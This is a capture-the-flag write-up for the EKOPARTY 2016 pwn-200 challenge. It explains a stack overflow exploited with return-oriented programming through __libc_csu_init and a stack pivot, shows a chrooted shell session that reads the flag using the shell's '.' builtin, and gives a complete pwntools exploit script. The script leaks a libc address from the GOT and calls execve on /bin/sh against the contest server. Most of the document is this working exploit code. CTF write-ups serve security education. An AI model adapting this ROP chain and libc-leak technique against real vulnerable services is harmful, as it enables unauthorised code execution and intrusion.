EKOPARTY CTF 2016: Fuckzing exploit

,

https://ctf.ekoparty.org/tasks/pwn/200

  • Sun Oct 30 00:19:55 JST 2016
    • I heard that the string for the rev-250 was unnecessary to cause buffer overflow.

problem

The binary is same to the rev-250, Fuckzing rev-250, but the filter on server doesn’t exist. You should solve rev-250 first.

solution

To call system("/bin/sh"), it’s not difficult. There are stack overflow vulnerability, and you can do return-oriented-programming with __libc_csu_init and stack-pivot.

However, I spent much time after taking the shell. The difficulties are below:

  • I couldn’t use /bin/sh interactively (why?)
  • It is chroot-ed and there are only $2$ binaries: /bin/sh and /bin/ls
  • And you cannot cat flag.txt

And I got the flag using the shell-builtin command .. It reports the contents of a file as error message.

# /bin/ls -l
total 84\n
-rw-r--r--  1 fuck 1002     0 Oct 27 18:47 [email protected]
-rw-r--r--  1 fuck 1002     0 Oct 27 20:42 ???????????????
-rw-r--r--  1 fuck 1002     0 Oct 27 20:39 [email protected]+LQ}Z2??V??Cw+??}????d4???
-rwxr-xr-x  1 root    0 30640 Oct 21 15:52 FUck_binary
-rw-r--r--  1 fuck 1002     0 Oct 27 20:37 V?[??????fp?
-rw-r--r--  1 fuck 1002     2 Oct 28 07:38 a
drwxr-xr-x  2 root    0  4096 Oct 27 15:50 bin
drwxr-xr-x 19 root    0  4320 Aug 22 13:14 dev
drwxr-xr-x  3 root    0  4096 Oct 21 16:06 etc
-rw-r--r--  1 root    0    20 Oct 21 16:16 flag.txt
-rw-r--r--  1 fuck 1002     1 Oct 28 12:29 hoge
drwxr-xr-x  3 root    0  4096 Oct 20 21:16 home
-rw-r--r--  1 fuck 1002 10252 Oct 28 00:56 index.html
-rw-r--r--  1 fuck 1002     0 Oct 27 20:42 k??T???Y?p?
drwxr-xr-x  3 root    0  4096 Oct 20 20:56 lib
drwxr-xr-x  2 root    0  4096 Oct 20 20:57 lib64
drwxr-xr-x  2 root    0  4096 Oct 21 09:21 proc
drwxr-xr-x  5 root    0  4096 Oct 20 22:30 usr
-rw-r--r--  1 fuck 1002     0 Oct 27 20:43 ???T?BTK??*?????????????J??W
-rw-r--r--  1 fuck 1002     0 Oct 27 20:37 ????mW#???????Cq?????d???????????
-rw-r--r--  1 fuck 1002     0 Oct 27 20:37 ??H??5m8??
-rw-r--r--  1 fuck 1002     0 Oct 27 20:38 ??
-rw-r--r--  1 fuck 1002     0 Oct 27 20:44 ????t?]???Fx?
# /bin/ls -l /bin
total 276
-rwxr-xr-x 1 root 0 126584 Oct 27 15:45 ls
-rwxr-xr-x 1 root 0 154072 Oct 27 15:50 sh
# . flag.txt
/bin/sh: 1: ./flag.txt: EKO{AFL_found_this}: not found

implementation

#!/usr/bin/env python2
from pwn import * # https://pypi.python.org/pypi/pwntools
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('host', nargs='?', default='7e0a98bb084ec0937553472e7aafcf68ff96baf4.ctf.site')
parser.add_argument('port', nargs='?', default=10000, type=int)
args = parser.parse_args()
context.log_level = 'debug'

elf = ELF('FUck_binary')
libc = ELF('libc.so.6') # Ubuntu 16.04, d443f227870b9c29182cc7a7a007d881
libc_csu_init_a = 0x405660
libc_csu_init_b = 0x40567a
pop_rsp_r13_r14_r15_ret =  0x40567d # pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
static = 0x606000
next_stack = static + 0x1000 - 0x200
buffer = static + 0x1000 - 0x90

# p = process('./FUck_binary', env={ 'LD_LIBRARY_PATH': '.' }) # with ./libget_flag.so
p = remote(args.host, args.port)

p.recvuntil("Hello, what's your team name? ")
payload = ''
payload += '\[email protected]@\x88\xa6  @ \[email protected]@   /\x96vC\x80p D AC``@`v 0  \x87\x80   @[email protected] @@\x80`@h \[email protected]  [email protected] \x80( \[email protected]@ \x80\x80 F$tH  6  J B k[Q` @@@Xp, I @\x80 @             \x80  \x80 @          ' # found using angr (rev 250)
payload += 'AAAAAAAA' # rbp
payload += p64(libc_csu_init_b) # rip
payload += p64(0) # rbx
payload += p64(1) # rbp
payload += p64(elf.got['read']) # r12 -> rip
payload += p64(1024) # r13 -> rdx
payload += p64(next_stack) # r14 -> rsi
payload += p64(0) # r15 -> edi
payload += p64(libc_csu_init_a)
payload += 'AAAAAAAA' # add rsp, 8
payload += 'AAAAAAAA' # rbx
payload += 'AAAAAAAA' # rbp
payload += 'AAAAAAAA' # r12
payload += 'AAAAAAAA' # r13
payload += 'AAAAAAAA' # r14
payload += 'AAAAAAAA' # r15
payload += p64(pop_rsp_r13_r14_r15_ret) # rip
payload += p64(next_stack) # rsp
p.send(payload)

time.sleep(1)
payload = ''
payload += 'AAAAAAAA' # r13
payload += 'AAAAAAAA' # r14
payload += 'AAAAAAAA' # r15
payload += p64(libc_csu_init_b) # rip
payload += p64(0) # rbx
payload += p64(1) # rbp
payload += p64(elf.got['write']) # r12 -> rip
payload += p64(8) # r13 -> rdx
payload += p64(elf.got['setvbuf']) # r14 -> rsi
payload += p64(1) # r15 -> edi
payload += p64(libc_csu_init_a)
payload += 'AAAAAAAA' # add rsp, 8
payload += p64(0) # rbx
payload += p64(1) # rbp
payload += p64(elf.got['read']) # r12 -> rip
payload += p64(1024) # r13 -> rdx
payload += p64(buffer) # r14 -> rsi
payload += p64(0) # r15 -> edi
payload += p64(libc_csu_init_a)
payload += 'AAAAAAAA' # add rsp, 8
payload += p64(0) # rbx
payload += p64(1) # rbp
payload += p64(buffer) # r12
payload += p64(buffer + 0x8) # r13
payload += p64(buffer + 0x10) # r14
payload += p64(buffer + 0x40) # r15
payload += p64(libc_csu_init_a)
p.send(payload)

p.recvuntil('Goodbye!')
setvbuf = u64(p.recv(8))
libc_base = setvbuf - libc.symbols['setvbuf']
log.info('setvbuf: %#x', setvbuf)
log.info('libc base: %#x', libc_base)
payload = ''
payload += p64(libc_base + libc.symbols['execve']) # 0x0
payload += p64(0) # 0x8, envp[0]
payload += p64(buffer + 0x40) # 0x10, argv[0]
payload += p64(buffer + 0x50) # 0x18
payload += p64(buffer + 0x60) # 0x20
payload += p64(0) # 0x28
payload += p64(0) # 0x30
payload += p64(0) # 0x38
payload += '/bin/sh\0' # 0x40
payload += '\0' * (0x50 - len(payload))
payload += '-c\0' # 0x50
payload += '\0' * (0x60 - len(payload))
payload += '. ./flag.txt\0' # 0x60
p.send(payload)

print p.recvall()